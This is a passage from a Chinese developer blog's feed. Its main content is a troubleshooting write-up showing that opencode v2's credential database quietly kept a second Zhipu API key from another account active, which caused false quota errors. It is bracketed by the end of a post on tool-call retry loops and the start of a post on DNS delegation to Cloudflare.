&lt;li&gt;&lt;strong&gt;schema 校验是最后一道防线&lt;&#x2F;strong&gt;：服务端不会报错（转换器永远&quot;成功&quot;），日志不会记（默认不存请求&#x2F;响应），只有客户端的必填键校验能发现 &lt;code&gt;&quot;content&quot;: Missing key&lt;&#x2F;code&gt;。判定逻辑应放在校验之后，而不是 finish_reason 之后。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;给重试加上限&lt;&#x2F;strong&gt;：opencode 这类&quot;错误回灌 + 要求重试&quot;的策略，在预算不足时会退化成 ~1 req&#x2F;s 的热循环（实测 71 万 input token 零产出）。给&quot;同类工具错误连续 N 次&quot;设熔断，比依赖模型自己吐出非工具内容可靠得多。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h2&gt;
&lt;p&gt;这次排查最有价值的不是结论，而是那个反直觉的事实：&lt;strong&gt;&quot;卡死&quot;的每一方都在按设计工作&lt;&#x2F;strong&gt;。vLLM 的转换器确实尽力了（能收的参数都收了、JSON 还给补闭合了），opencode 的校验确实尽责了（不合法就不执行、还告诉模型哪里错），模型也确实在一次次重写。设计上的缝隙叠在一起：转换器不报&quot;不完整&quot;、finish_reason 丢了 &lt;code&gt;length&lt;&#x2F;code&gt;、客户端错误回灌没有熔断——就成了只有用户能看见的&quot;hang&quot;。&lt;&#x2F;p&gt;
&lt;p&gt;排查这类&quot;无错误现场&quot;的问题，思路是把三方的话都对齐：抓包看服务端实际发了什么、会话数据看客户端实际收到了什么、&lt;code&gt;&#x2F;v1&#x2F;completions&lt;&#x2F;code&gt; 看模型实际说了什么。三个&quot;实际&quot;对上的那一刻，根因就出来了。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>网页显示还有额度，opencode 却报限额：一个 provider 挂两个账号 key 的坑</title>
        <published>2026-10-14T15:58:32+08:00</published>
        <updated>2026-10-14T15:58:32+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/opencode-credential-active-key-mismatch/"/>
        <id>https://vercel.juzhong.asia/2026/10/opencode-credential-active-key-mismatch/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/opencode-credential-active-key-mismatch/">&lt;h2 id=&quot;xian-xiang&quot;&gt;现象&lt;&#x2F;h2&gt;
&lt;p&gt;在终端里让 opencode 回一句话：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ opencode run &amp;quot;reply with exactly: OK&amp;quot;
&amp;gt; build · glm-5.3
&amp;gt; build · glm-5.3
……（连续重试 11 次）
Error: 已达到 5 小时的使用上限。您的限额将在 2026-10-14 16:17:09 重置。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但登录智谱后台看用量，&lt;strong&gt;5 小时额度只用了 35%，还剩 65%&lt;&#x2F;strong&gt;。同一把 key 直接打模型接口，偶尔还能通：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ curl -sS -X POST https:&amp;#x2F;&amp;#x2F;open.bigmodel.cn&amp;#x2F;api&amp;#x2F;coding&amp;#x2F;paas&amp;#x2F;v4&amp;#x2F;chat&amp;#x2F;completions \
    -H &amp;quot;Authorization: Bearer $KEY&amp;quot; \
    -d &amp;#x27;{&amp;quot;model&amp;quot;:&amp;quot;glm-5.3&amp;quot;,&amp;quot;messages&amp;quot;:[{&amp;quot;role&amp;quot;:&amp;quot;user&amp;quot;,&amp;quot;content&amp;quot;:&amp;quot;hi&amp;quot;}],&amp;quot;max_tokens&amp;quot;:8}&amp;#x27;

{&amp;quot;error&amp;quot;:{&amp;quot;code&amp;quot;:&amp;quot;1302&amp;quot;,&amp;quot;message&amp;quot;:&amp;quot;您的账户已达到速率限制，请您控制请求频率&amp;quot;}}   ← 多数时候
{&amp;quot;choices&amp;quot;:[{&amp;quot;message&amp;quot;:{&amp;quot;content&amp;quot;:&amp;quot;...&amp;quot;}}],...}                               ← 偶尔成功
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;矛盾点有两个：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;有额度却报限额&lt;&#x2F;strong&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;报的是「5 小时限额」（1308），而我手打接口拿到的是「速率限制」（1302）——两种完全不同的错误。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;di-yi-lun-cha-e-du-jie-guo-dui-bu-shang&quot;&gt;第一轮：查额度，结果对不上&lt;&#x2F;h2&gt;
&lt;p&gt;先找 opencode 到底读哪把 key。常规位置是全局配置：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ cat ~&amp;#x2F;.config&amp;#x2F;opencode&amp;#x2F;opencode.json
{
  &amp;quot;model&amp;quot;: &amp;quot;zhipuai-coding-plan&amp;#x2F;glm-5.3&amp;quot;,
  &amp;quot;small_model&amp;quot;: &amp;quot;zhipuai-coding-plan&amp;#x2F;glm-5.3-flash&amp;quot;,
  &amp;quot;provider&amp;quot;: {
    &amp;quot;zhipuai-coding-plan&amp;quot;: {
      &amp;quot;options&amp;quot;: { &amp;quot;apiKey&amp;quot;: &amp;quot;7583f11a……&amp;quot; }
    }
  }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;~&#x2F;.local&#x2F;share&#x2F;opencode&#x2F;auth.json&lt;&#x2F;code&gt; 里同名 provider 也是这把 &lt;code&gt;7583f11a……&lt;&#x2F;code&gt;。看起来毫无疑问。&lt;&#x2F;p&gt;
&lt;p&gt;智谱提供了官方的额度查询接口（&lt;strong&gt;注意 Authorization 是裸 key，不加 &lt;code&gt;Bearer&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ curl -sS -H &amp;quot;Authorization: $KEY&amp;quot; https:&amp;#x2F;&amp;#x2F;open.bigmodel.cn&amp;#x2F;api&amp;#x2F;monitor&amp;#x2F;usage&amp;#x2F;quota&amp;#x2F;limit
{&amp;quot;code&amp;quot;:200,&amp;quot;data&amp;quot;:{&amp;quot;limits&amp;quot;:[
  {&amp;quot;type&amp;quot;:&amp;quot;CREDIT_LIMIT&amp;quot;,&amp;quot;unit&amp;quot;:3,&amp;quot;number&amp;quot;:5,&amp;quot;usage&amp;quot;:28000,&amp;quot;currentValue&amp;quot;:9894,&amp;quot;remaining&amp;quot;:18105,&amp;quot;percentage&amp;quot;:35,&amp;quot;nextResetTime&amp;quot;:1791963412620},
  {&amp;quot;type&amp;quot;:&amp;quot;CREDIT_LIMIT&amp;quot;,&amp;quot;unit&amp;quot;:6,&amp;quot;number&amp;quot;:1,&amp;quot;usage&amp;quot;:140000,&amp;quot;currentValue&amp;quot;:101405,&amp;quot;remaining&amp;quot;:38594,&amp;quot;percentage&amp;quot;:72,&amp;quot;nextResetTime&amp;quot;:1792406188985}
],&amp;quot;level&amp;quot;:&amp;quot;max&amp;quot;},&amp;quot;success&amp;quot;:true}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;level: max&lt;&#x2F;code&gt;，5 小时窗口用了 35%，下一次重置 &lt;code&gt;2026-10-14 15:36:52&lt;&#x2F;code&gt;。&lt;strong&gt;根本没到限额。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;期间还推翻过一个猜测：本机正跑着 BugHunter（它内嵌的 opencode 也在调智谱），一度怀疑是它把账号的并发&#x2F;速率抢光了。实测那是另一个号上的行为叠加，&lt;strong&gt;不是&lt;&#x2F;strong&gt;这次报错的成因——留个记录，防止后面再往这条路上想。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-er-lun-liang-ge-zhong-zhi-shi-jian-dui-bu-shang&quot;&gt;第二轮：两个「重置时间」对不上&lt;&#x2F;h2&gt;
&lt;p&gt;真正的线索藏在报错文本里：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;报错：      限额将在 2026-10-14 16:17:09 重置
额度接口：  nextResetTime = 2026-10-14 15:36:52
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;差 40 分钟。如果这俩说的是同一份额度，时间必须一致。&lt;strong&gt;说明它们压根不是同一份额度&lt;&#x2F;strong&gt;——报错来自另一把 key、另一个账号。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;di-san-lun-qu-ping-ju-ku-wa-zhen-zheng-zai-yong-de-na-ba&quot;&gt;第三轮：去凭据库挖真正在用的那把&lt;&#x2F;h2&gt;
&lt;p&gt;opencode 换到 v2 之后（本机 &lt;code&gt;v2.0.28&lt;&#x2F;code&gt;），凭据不再只存 &lt;code&gt;auth.json&lt;&#x2F;code&gt;，而是进了 SQLite：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ sqlite3 ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;opencode&amp;#x2F;opencode.db &amp;quot;.schema credential&amp;quot;
CREATE TABLE `credential` (
  `id` text PRIMARY KEY,
  `integration_id` text,
  `label` text NOT NULL,
  `value` text NOT NULL,
  `connector_id` text,
  `method_id` text,
  `active` integer,
  ...
);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;一查就露馅了：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ sqlite3 ~&amp;#x2F;.local&amp;#x2F;share&amp;#x2F;opencode&amp;#x2F;opencode.db \
    &amp;quot;select id,label,active from credential where integration_id=&amp;#x27;zhipuai-coding-plan&amp;#x27;;&amp;quot;
cred_0b34fab5e003sgLc73m1YE8RNC|API key|0
cred_12f7e5bcf001CEr7ffu3qF02M2|Zhipu AI Coding Plan|1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同一个 &lt;code&gt;zhipuai-coding-plan&lt;&#x2F;code&gt; 挂着&lt;strong&gt;两把 key&lt;&#x2F;strong&gt;，其中 &lt;code&gt;active=1&lt;&#x2F;code&gt; 的那把（&lt;code&gt;67ca616f……&lt;&#x2F;code&gt;）既不是配置文件里写的 &lt;code&gt;7583f11a……&lt;&#x2F;code&gt;，也不是我以为的任何一把。把两把分别拿去问额度接口：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;凭据 label&lt;&#x2F;th&gt;&lt;th&gt;active&lt;&#x2F;th&gt;&lt;th&gt;账号&lt;&#x2F;th&gt;&lt;th&gt;套餐&lt;&#x2F;th&gt;&lt;th&gt;5h 用量&lt;&#x2F;th&gt;&lt;th&gt;5h 下次重置&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;API key&lt;&#x2F;td&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;4231775790108884&lt;&#x2F;td&gt;&lt;td&gt;max&lt;&#x2F;td&gt;&lt;td&gt;35%&lt;&#x2F;td&gt;&lt;td&gt;15:36:52&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Zhipu AI Coding Plan&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;1&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;58081771827682775&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;lite&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;2047 &#x2F; 2000 = 100%&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;16:17:09&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;active 那条是&lt;strong&gt;另一个智谱账号&lt;&#x2F;strong&gt;的 Lite 套餐，5 小时额度打满，重置时间 &lt;code&gt;16:17:09&lt;&#x2F;code&gt;——与报错&lt;strong&gt;一字不差&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;实锤：opencode 用的是 &lt;code&gt;active&lt;&#x2F;code&gt; 那条，配置文件里的 &lt;code&gt;options.apiKey&lt;&#x2F;code&gt; 只是摆设。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-hui-bing-cun-liang-ba-key&quot;&gt;为什么会并存两把 key&lt;&#x2F;h2&gt;
&lt;p&gt;这是 v2 凭据模型的设计，不是配置写错了。&lt;code&gt;integration&lt;&#x2F;code&gt;（provider）与 &lt;code&gt;credential&lt;&#x2F;code&gt; 是 &lt;strong&gt;1 : N&lt;&#x2F;strong&gt;，但用唯一部分索引锁死只能有一条 active：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sql&quot; class=&quot;language-sql &quot;&gt;&lt;code class=&quot;language-sql&quot; data-lang=&quot;sql&quot;&gt;-- core&amp;#x2F;src&amp;#x2F;database&amp;#x2F;migration&amp;#x2F;20260611035744_credential.ts
CREATE UNIQUE INDEX `credential_connector_active_idx`
  ON `credential` (`connector_id`) WHERE &amp;quot;active&amp;quot; = 1;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行时解析优先级：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Integration 的 active connection  →  provider.options.apiKey（opencode.json）  →  env（ZHIPU_API_KEY）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;active 连接一旦存在就赢。而 &lt;code&gt;auth login&lt;&#x2F;code&gt; &#x2F; TUI 里点「连接 provider」的语义是**「新增凭据并激活」**，不是覆盖旧的。label 默认取 integration 名，重名才自动追加 &lt;code&gt; 2&lt;&#x2F;code&gt;、&lt;code&gt; 3&lt;&#x2F;code&gt;——也就是说「一个 provider 多条凭据」是被预期的场景。&lt;&#x2F;p&gt;
&lt;p&gt;本机的时间线正好踩上去：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;2026-09-18 14:58&lt;&#x2F;code&gt; 建 &lt;code&gt;API key&lt;&#x2F;code&gt;（label 是流程默认名）→ Max 账号；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;2026-10-12 17:42&lt;&#x2F;code&gt; 走登录流程建了 &lt;code&gt;Zhipu AI Coding Plan&lt;&#x2F;code&gt;（label = provider 名）→ &lt;strong&gt;另一个账号的 Lite&lt;&#x2F;strong&gt;，创建即 active。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;旧的那条不会删，只是被置成 &lt;code&gt;active=0&lt;&#x2F;code&gt;。于是「配置写 A、实际跑 B」，而 v1 时代只有 &lt;code&gt;auth.json&lt;&#x2F;code&gt;、一个 provider 一把 key、后写覆盖，&lt;strong&gt;根本不会出现这种并存&lt;&#x2F;strong&gt;——这也是为什么 BugHunter 内嵌的那份 v1.18.33 一直安安静静。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiu-fu&quot;&gt;修复&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 看清楚有几条、哪条 active
$ opencode auth list --format json
$ opencode auth switch zhipuai-coding-plan cred_0b34fab5e003sgLc73m1YE8RNC

# 验证
$ opencode run &amp;quot;reply with exactly: OK&amp;quot;
OK
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;切完之后日志里再没出现「5 小时限额」，&lt;code&gt;nextReset&lt;&#x2F;code&gt; 也和 Max 账号的 &lt;code&gt;15:36:52&lt;&#x2F;code&gt; 对上了。剩下的偶发 &lt;code&gt;&amp;gt; build · glm-5.3&lt;&#x2F;code&gt; 重试是账号级 1302 速率限制，重试即过，与额度无关。&lt;&#x2F;p&gt;
&lt;p&gt;不需要的话，那条外账号凭据可以删掉——随后也确实删了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ opencode auth logout zhipuai-coding-plan cred_12f7e5bcf001CEr7ffu3qF02M2
┌  Log out of an account
◇  Removed account from Zhipu AI Coding Plan
└  Done

# 删完自检：只剩一条
$ opencode auth list
Zhipu AI Coding Plan             API key                     stored
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意 &lt;code&gt;logout&lt;&#x2F;code&gt; 删的只是&lt;strong&gt;本机这条登记&lt;&#x2F;strong&gt;，智谱侧那把 &lt;code&gt;67ca616f……&lt;&#x2F;code&gt; 依然有效（拿去 curl 照样通），要彻底作废得去智谱控制台删 key。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhui-wen-credential-id-he-provider-qian-fa-de-api-key-shi-shen-me-guan-xi&quot;&gt;追问：credential id 和 provider 签发的 api-key 是什么关系&lt;&#x2F;h2&gt;
&lt;p&gt;修完顺手把模型捋清。疑惑很自然：&lt;code&gt;auth list&lt;&#x2F;code&gt; 里那个 &lt;code&gt;cred_0b34fab5……&lt;&#x2F;code&gt; 并不是认证时填的 key——对，它本来就不是，两者是「登记号」和「钥匙」的关系：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;provider 签发的 API key&lt;&#x2F;th&gt;&lt;th&gt;SQLite 里的 credential id&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;签发方&lt;&#x2F;td&gt;&lt;td&gt;智谱控制台（「新建 API Key」得到的那串）&lt;&#x2F;td&gt;&lt;td&gt;opencode 本地生成（&lt;code&gt;ID.create()&lt;&#x2F;code&gt;，&lt;code&gt;cred_&lt;&#x2F;code&gt; 前缀）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;在哪有效&lt;&#x2F;td&gt;&lt;td&gt;你 ↔ 智谱之间，服务端按它反查账号&#x2F;套餐&#x2F;额度&lt;&#x2F;td&gt;&lt;td&gt;本机 ↔ 本地 DB 之间，只是表主键&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;出现在哪&lt;&#x2F;td&gt;&lt;td&gt;每个 HTTP 请求的 &lt;code&gt;Authorization&lt;&#x2F;code&gt; 头&lt;&#x2F;td&gt;&lt;td&gt;只在本地 DB、&lt;code&gt;auth list --format json&lt;&#x2F;code&gt;、&lt;code&gt;switch&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;logout&lt;&#x2F;code&gt; 参数里，&lt;strong&gt;从不上网络&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;生命周期&lt;&#x2F;td&gt;&lt;td&gt;控制台创建&#x2F;吊销，与 opencode 无关&lt;&#x2F;td&gt;&lt;td&gt;随 &lt;code&gt;auth login&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;logout&lt;&#x2F;code&gt; 增删，与智谱无关&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;一行 credential = 登记号（&lt;code&gt;id&lt;&#x2F;code&gt;）+ 钥匙本体（&lt;code&gt;value.key&lt;&#x2F;code&gt;）+ 人读名字（&lt;code&gt;label&lt;&#x2F;code&gt;）+ 生效位（&lt;code&gt;active&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ sqlite3 opencode.db &amp;quot;select id, label, substr(json_extract(value,&amp;#x27;\$.key&amp;#x27;),1,10), active …&amp;quot;
cred_0b34fab5e003sgLc73m1YE8RNC | API key | a3feeb6656 | 1
        ↑ opencode 生成的主键               ↑ 认证时填的 key 在 value 列
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由这个模型直接推出三件事：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;两把不同的 key 必然占两行（两个 cred_id）&lt;&#x2F;strong&gt;——&lt;code&gt;value.key&lt;&#x2F;code&gt; 是单值；但反向不成立，两个 cred_id 未必是两把不同的 key（同一把 key 重复 login 会登记成两行）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;多把 key 可同属一个账号&lt;&#x2F;strong&gt;：实测 &lt;code&gt;7583f11a&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;a3feeb66&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;9ca0e2a2&lt;&#x2F;code&gt; 三把查额度返回&lt;strong&gt;同一账号、同一数值&lt;&#x2F;strong&gt;——额度跟账号走，跟哪把 key 无关。所以同账号多行并存无害；这次的事故需要三个条件同时成立：&lt;strong&gt;多行 + 跨账号 + active 恰好落在外账号那行&lt;&#x2F;strong&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;logout ≠ 吊销&lt;&#x2F;strong&gt;：&lt;code&gt;auth logout&lt;&#x2F;code&gt; 删登记号，智谱侧 key 照常可用；反过来控制台删了 key，本地登记也不会自动消失，只会开始 401。轮换 key 的正确顺序：控制台建新 key → opencode &lt;code&gt;login&lt;&#x2F;code&gt; 新 key 并 &lt;code&gt;switch&lt;&#x2F;code&gt; → 验证可用 → 控制台删旧 key → 本地 &lt;code&gt;logout&lt;&#x2F;code&gt; 旧行。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;还有一个易踩点：&lt;code&gt;auth list&lt;&#x2F;code&gt; 默认输出三列是「provider 名 | label | 来源」，&lt;strong&gt;没有 ID&lt;&#x2F;strong&gt;。好在 &lt;code&gt;auth logout&lt;&#x2F;code&gt; 的两个参数本来就接受「ID 或名字」「ID 或 label」，默认输出够用：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;opencode auth logout &amp;quot;Zhipu AI Coding Plan&amp;quot; &amp;quot;API key&amp;quot;     # 名字 + label
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但 label 与 provider 名撞车时（这次那条的 label 恰好就叫 &lt;code&gt;Zhipu AI Coding Plan&lt;&#x2F;code&gt;）极易搞混，要 ID 就走 JSON：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;$ opencode auth list --format json | jq -r \
    &amp;#x27;.[] | select(.id==&amp;quot;zhipuai-coding-plan&amp;quot;) | .connections[] | &amp;quot;\(.id)\t\(.label)&amp;quot;&amp;#x27;
cred_0b34fab5e003sgLc73m1YE8RNC	API key
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;想看登记的 key 本体，用 &lt;code&gt;opencode auth export&lt;&#x2F;code&gt;（会打印明文，别往外贴）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fu-pan&quot;&gt;复盘&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;先确认「运行时实际用的哪把钥匙」，再查额度。&lt;&#x2F;strong&gt; 配置文件里的 &lt;code&gt;apiKey&lt;&#x2F;code&gt; 不代表运行时用它；v2 有独立的凭据库，且 active 凭据优先级更高。排查入口就一句：&lt;code&gt;opencode auth list --format json&lt;&#x2F;code&gt;，再拿 active 行的 key 去查服务商侧状态。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;报错文本里的重置时间是金线索。&lt;&#x2F;strong&gt; 它和后台&#x2F;接口显示的时间对不上时，基本可以断定「报错来自另一个账号&#x2F;另一份额度」。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;「登记号」和「钥匙」分两层看。&lt;&#x2F;strong&gt; cred_id 是本地主键、从不上网络；key 才随请求出门。所有「我明明配了 A」的争论，都要落到「active 行的 &lt;code&gt;value&lt;&#x2F;code&gt; 是什么」才有意义。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;错误的假设也要留档&lt;&#x2F;strong&gt;：中途把锅甩给并发的 BugHunter，实测站不住，记下来省得下次再绕。&lt;&#x2F;li&gt;
&lt;li&gt;同账号的多把 key 共存无害（指向同一份额度）；真正危险的是&lt;strong&gt;跨账号&lt;&#x2F;strong&gt;——一次 &lt;code&gt;auth login&lt;&#x2F;code&gt; 就能静默把运行时切走。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>DNS 委派、TLD 与胶水记录：把新域名 NS 切到 Cloudflare 的实战与原理</title>
        <published>2026-10-10T15:23:54+08:00</published>
        <updated>2026-10-10T15:23:54+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/10/dns-delegation-glue-tld-deep-dive/"/>
        <id>https://vercel.juzhong.asia/2026/10/dns-delegation-glue-tld-deep-dive/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/10/dns-delegation-glue-tld-deep-dive/">&lt;blockquote&gt;
&lt;p&gt;本文整理自一次真实的排查：一个当天刚注册的 &lt;code&gt;.asia&lt;&#x2F;code&gt; 域名（下文以 &lt;code&gt;demo.asia&lt;&#x2F;code&gt; 代称），要把它从阿里云默认 NS 切换到 Cloudflare。过程用浏览器调试控制台 + &lt;code&gt;dig&lt;&#x2F;code&gt; 逐级实测，把 DNS 教科书里含糊带过的几个概念（TLD 委派、glue、权威副本、serverHold）全部落到了实验上。文中所有命令输出均为真实实测，域名已做替换。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;yi-bei-jing-yi-ci-gai-ns-yin-chu-de-lian-huan-zhui-wen&quot;&gt;一、背景：一次&quot;改 NS&quot;引出的连环追问&lt;&#x2F;h2&gt;
&lt;p&gt;起因很简单：把 &lt;code&gt;demo.asia&lt;&#x2F;code&gt; 的 DNS 从阿里云（&lt;code&gt;dns21.hichina.com&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;dns22.hichina.com&lt;&#x2F;code&gt;）切到 Cloudflare。但顺着操作往下验证，问题一个接一个：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;注册商侧 NS 改完了，为什么全网 &lt;code&gt;dig&lt;&#x2F;code&gt; 还是查不到？&lt;&#x2F;li&gt;
&lt;li&gt;NS 填的是域名（&lt;code&gt;aaa.ns.cloudflare.com&lt;&#x2F;code&gt;），它自己还要解析成 IP，会不会死循环？&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.com&lt;&#x2F;code&gt; 顶层服务器凭什么知道 &lt;code&gt;ns3.cloudflare.com&lt;&#x2F;code&gt; 的 IP？&lt;&#x2F;li&gt;
&lt;li&gt;在阿里云「云解析」里改记录，改的到底是不是顶级域名的数据？&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;这四个问题正好覆盖 DNS 的核心机制，下文逐一用实验回答。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;er-yu-ming-ceng-ji-cong-you-dao-zuo-zhu-ji-bian-xiao&quot;&gt;二、域名层级：从右到左，逐级变小&lt;&#x2F;h2&gt;
&lt;p&gt;以 &lt;code&gt;blog.user.example.com&lt;&#x2F;code&gt; 为例：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: left&quot;&gt;部分&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;名称&lt;&#x2F;th&gt;&lt;th style=&quot;text-align: left&quot;&gt;说明&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;com&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;顶级域名（TLD）&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;由 ICANN 协调下的注册局管理&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;example.com&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;二级域名&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;你注册的那个域名&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: left&quot;&gt;&lt;code&gt;user.example.com&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;三级域名&lt;&#x2F;td&gt;&lt;td style=&quot;text-align: left&quot;&gt;你在二级域名下创建的&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
